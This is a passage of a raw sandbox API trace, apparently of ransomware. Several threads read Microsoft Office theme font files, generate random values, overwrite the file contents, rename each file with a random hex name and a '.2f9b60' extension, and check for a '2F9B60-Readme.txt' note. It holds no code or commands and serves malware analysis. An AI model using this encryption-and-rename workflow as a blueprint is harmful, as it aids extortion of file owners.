[0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x653453cc [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x10b3d1 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x33443438 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x4f51036b [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x971001b [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0xd47951f [0119.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612f0 [0119.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0119.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0119.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0119.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0119.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc70 [0119.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0119.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019b4e0 [0119.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201978d0 [0119.704] ReadFile (in: hFile=0x15e4, lpBuffer=0x2019b4e0, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x3ef3fa70, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesRead=0x3ef3fa70*=0xe2a, lpOverlapped=0x0) returned 1 [0119.705] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.705] WriteFile (in: hFile=0x15e4, lpBuffer=0x201978d0*, nNumberOfBytesToWrite=0xe2a, lpNumberOfBytesWritten=0x3ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x201978d0*, lpNumberOfBytesWritten=0x3ef3fa74*=0xe2a, lpOverlapped=0x0) returned 1 [0122.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0122.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616a0 [0122.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202616a0) returned 1 [0122.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201978d0) returned 1 [0122.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0122.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0122.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0122.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202616a0 [0122.206] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.206] WriteFile (in: hFile=0x15e4, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3ef3fb90, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x3ef3fb90*=0x106, lpOverlapped=0x0) returned 1 [0123.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0123.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860390) returned 1 [0123.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0123.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0123.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0123.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860270) returned 1 [0123.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0670 [0123.015] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="2b") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="e4") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="db") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="2b") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.015] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="cc") returned 2 [0123.015] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="f7") returned 2 [0123.015] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="7f") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="40") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="03") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="bf") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="d8") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="60") returned 2 [0123.015] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="df") returned 2 [0123.015] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="29") returned 2 [0123.015] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="10") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="bd") returned 2 [0123.015] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="2d") returned 2 [0123.016] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="82") returned 2 [0123.016] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="20") returned 2 [0123.016] RtlInitAnsiString (in: DestinationString=0x3ef3fc08, SourceString="2be4db2b4cccf77f4003bfd860df2910bd2d8220" | out: DestinationString="2be4db2b4cccf77f4003bfd860df2910bd2d8220") [0123.016] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ef3fbd8, SourceString="2be4db2b4cccf77f4003bfd860df2910bd2d8220", AllocateDestinationString=1 | out: DestinationString="2be4db2b4cccf77f4003bfd860df2910bd2d8220") returned 0x0 [0123.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c550 [0123.016] wcscat (in: _Dest=0x1cd64d10, _Source="2be4db2b4c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2be4db2b4c") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2be4db2b4c" [0123.016] wcscat (in: _Dest=0x1cd64d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2be4db2b4c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2be4db2b4c.2f9b60" [0123.016] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2be4db2b4c.2f9b60", NtPathName=0x3ef3fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2be4db2b4c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x42060180 [0123.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060180) returned 1 [0123.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd8c0) returned 1 [0123.323] NtQueryInformationFile (in: FileHandle=0x15e4, IoStatusBlock=0x3ef3fc18, FileInformation=0x3ef3fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ef3fc18, FileInformation=0x3ef3fc28) returned 0x0 [0123.323] NtSetInformationFile (FileHandle=0x15e4, IoStatusBlock=0x3ef3fc18, FileInformation=0x3ef3fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64d10) returned 1 [0123.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c550) returned 1 [0123.325] FlushFileBuffers (hFile=0x15e4) returned 1 [0123.328] CloseHandle (hObject=0x15e4) returned 1 [0123.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac580 [0123.329] wcscpy (in: _Dest=0x202ac580, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.329] wcscat (in: _Dest=0x202ac580, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac580) returned 1 [0123.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b910) returned 1 Thread: id = 1407 os_tid = 0x1850 [0119.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml")) returned 0x20 [0119.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml", dwFileAttributes=0x20) returned 1 [0119.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1548 [0119.588] GetFileSizeEx (in: hFile=0x1548, lpFileSize=0x3f0efb00 | out: lpFileSize=0x3f0efb00*=3822) returned 1 [0119.588] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0xeea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.588] ReadFile (in: hFile=0x1548, lpBuffer=0x3f0efa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f0efac8, lpOverlapped=0x0 | out: lpBuffer=0x3f0efa80*, lpNumberOfBytesRead=0x3f0efac8*=0x4, lpOverlapped=0x0) returned 1 [0119.810] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0119.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0119.810] NtQuerySystemTime (in: CurrentTime=0x3f0ef9c0 | out: CurrentTime=0x3f0ef9c0*=132462177252286000) returned 0x0 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x11dc8110 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x6f4a6957 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x2cc49796 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x30fb91c0 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x4cd57b4c [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x464b44b9 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x25a58f3e [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x30a5e040 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x7fe97337 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0xbe7fc80 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x77dd9580 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x126b7cb3 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x15239880 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x5009d6b6 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x6d42e910 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0xda4acab [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x196ddd91 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x31266a80 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x52caa700 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x2dc041b8 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x7f41aaf5 [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x717e793d [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x70ca85ad [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x1152fdbd [0119.810] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x5c0636f7 [0119.811] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x34713b2b [0119.811] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0xe4a913e [0119.811] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x4c73c31e [0119.811] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0xbbd7373 [0119.811] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x11c2998a [0119.811] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x25894ed3 [0119.811] RtlRandomEx (in: Seed=0x3f0ef9b0 | out: Seed=0x3f0ef9b0) returned 0x772c47d7 [0119.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0119.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d90 [0119.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0119.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d90) returned 1 [0119.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0119.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0119.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d90 [0119.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f79560 [0119.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f5b4e0 [0119.819] ReadFile (in: hFile=0x1548, lpBuffer=0x41f79560, nNumberOfBytesToRead=0xeee, lpNumberOfBytesRead=0x3f0ef9b0, lpOverlapped=0x0 | out: lpBuffer=0x41f79560*, lpNumberOfBytesRead=0x3f0ef9b0*=0xeee, lpOverlapped=0x0) returned 1 [0119.819] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.819] WriteFile (in: hFile=0x1548, lpBuffer=0x41f5b4e0*, nNumberOfBytesToWrite=0xeee, lpNumberOfBytesWritten=0x3f0ef9b4, lpOverlapped=0x0 | out: lpBuffer=0x41f5b4e0*, lpNumberOfBytesWritten=0x3f0ef9b4*=0xeee, lpOverlapped=0x0) returned 1 [0122.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0122.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0122.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261250) returned 1 [0122.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5b4e0) returned 1 [0122.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f79560) returned 1 [0122.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d90) returned 1 [0122.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0122.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261250 [0122.132] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.132] WriteFile (in: hFile=0x1548, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f0efad0, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x3f0efad0*=0x102, lpOverlapped=0x0) returned 1 [0122.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0122.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0122.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f400 [0122.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f400) returned 1 [0122.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0122.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f400 [0122.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f430 [0122.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f430) returned 1 [0122.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0122.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0122.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x2050f430 [0122.844] sprintf (in: _Dest=0x2050f430, _Format="%c%c" | out: _Dest="c0") returned 2 [0122.844] sprintf (in: _Dest=0x2050f432, _Format="%c%c" | out: _Dest="25") returned 2 [0122.844] sprintf (in: _Dest=0x2050f434, _Format="%c%c" | out: _Dest="03") returned 2 [0122.844] sprintf (in: _Dest=0x2050f436, _Format="%c%c" | out: _Dest="5f") returned 2 [0122.844] sprintf (in: _Dest=0x2050f438, _Format="%c%c" | out: _Dest="99") returned 2 [0122.844] sprintf (in: _Dest=0x2050f43a, _Format="%c%c" | out: _Dest="f8") returned 2 [0122.844] sprintf (in: _Dest=0x2050f43c, _Format="%c%c" | out: _Dest="fb") returned 2 [0122.844] sprintf (in: _Dest=0x2050f43e, _Format="%c%c" | out: _Dest="b4") returned 2 [0122.844] sprintf (in: _Dest=0x2050f440, _Format="%c%c" | out: _Dest="f3") returned 2 [0122.844] sprintf (in: _Dest=0x2050f442, _Format="%c%c" | out: _Dest="67") returned 2 [0122.844] sprintf (in: _Dest=0x2050f444, _Format="%c%c" | out: _Dest="4b") returned 2 [0122.844] sprintf (in: _Dest=0x2050f446, _Format="%c%c" | out: _Dest="81") returned 2 [0122.844] sprintf (in: _Dest=0x2050f448, _Format="%c%c" | out: _Dest="49") returned 2 [0122.844] sprintf (in: _Dest=0x2050f44a, _Format="%c%c" | out: _Dest="fe") returned 2 [0122.844] sprintf (in: _Dest=0x2050f44c, _Format="%c%c" | out: _Dest="de") returned 2 [0122.844] sprintf (in: _Dest=0x2050f44e, _Format="%c%c" | out: _Dest="39") returned 2 [0122.844] RtlInitAnsiString (in: DestinationString=0x3f0efb48, SourceString="c025035f99f8fbb4f3674b8149fede39" | out: DestinationString="c025035f99f8fbb4f3674b8149fede39") [0122.845] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f0efb18, SourceString="c025035f99f8fbb4f3674b8149fede39", AllocateDestinationString=1 | out: DestinationString="c025035f99f8fbb4f3674b8149fede39") returned 0x0 [0122.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059380 [0122.845] wcscat (in: _Dest=0x1b7a5860, _Source="c025035f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c025035f") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c025035f" [0122.845] wcscat (in: _Dest=0x1b7a5860, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c025035f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c025035f.2f9b60" [0122.845] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c025035f.2f9b60", NtPathName=0x3f0efaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\c025035f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118af0 [0123.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118af0) returned 1 [0123.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291d20) returned 1 [0123.333] NtQueryInformationFile (in: FileHandle=0x1548, IoStatusBlock=0x3f0efb58, FileInformation=0x3f0efb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f0efb58, FileInformation=0x3f0efb68) returned 0x0 [0123.333] NtSetInformationFile (FileHandle=0x1548, IoStatusBlock=0x3f0efb58, FileInformation=0x3f0efb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5860) returned 1 [0123.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059380) returned 1 [0123.335] FlushFileBuffers (hFile=0x1548) returned 1 [0123.345] CloseHandle (hObject=0x1548) returned 1 [0123.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64c60 [0123.346] wcscpy (in: _Dest=0x1cd64c60, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.346] wcscat (in: _Dest=0x1cd64c60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64c60) returned 1 [0123.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b9b0) returned 1 Thread: id = 1408 os_tid = 0x1854 [0119.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml")) returned 0x20 [0119.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml", dwFileAttributes=0x20) returned 1 [0119.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17d0 [0119.582] GetFileSizeEx (in: hFile=0x17d0, lpFileSize=0x3cd1f940 | out: lpFileSize=0x3cd1f940*=3615) returned 1 [0119.582] SetFilePointerEx (in: hFile=0x17d0, liDistanceToMove=0xe1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.582] ReadFile (in: hFile=0x17d0, lpBuffer=0x3cd1f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cd1f908, lpOverlapped=0x0 | out: lpBuffer=0x3cd1f8c0*, lpNumberOfBytesRead=0x3cd1f908*=0x4, lpOverlapped=0x0) returned 1 [0119.611] SetFilePointerEx (in: hFile=0x17d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0119.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c90 [0119.611] NtQuerySystemTime (in: CurrentTime=0x3cd1f800 | out: CurrentTime=0x3cd1f800*=132462177250258000) returned 0x0 [0119.611] RtlRandomEx (in: Seed=0x3cd1f7f0 | out: Seed=0x3cd1f7f0) returned 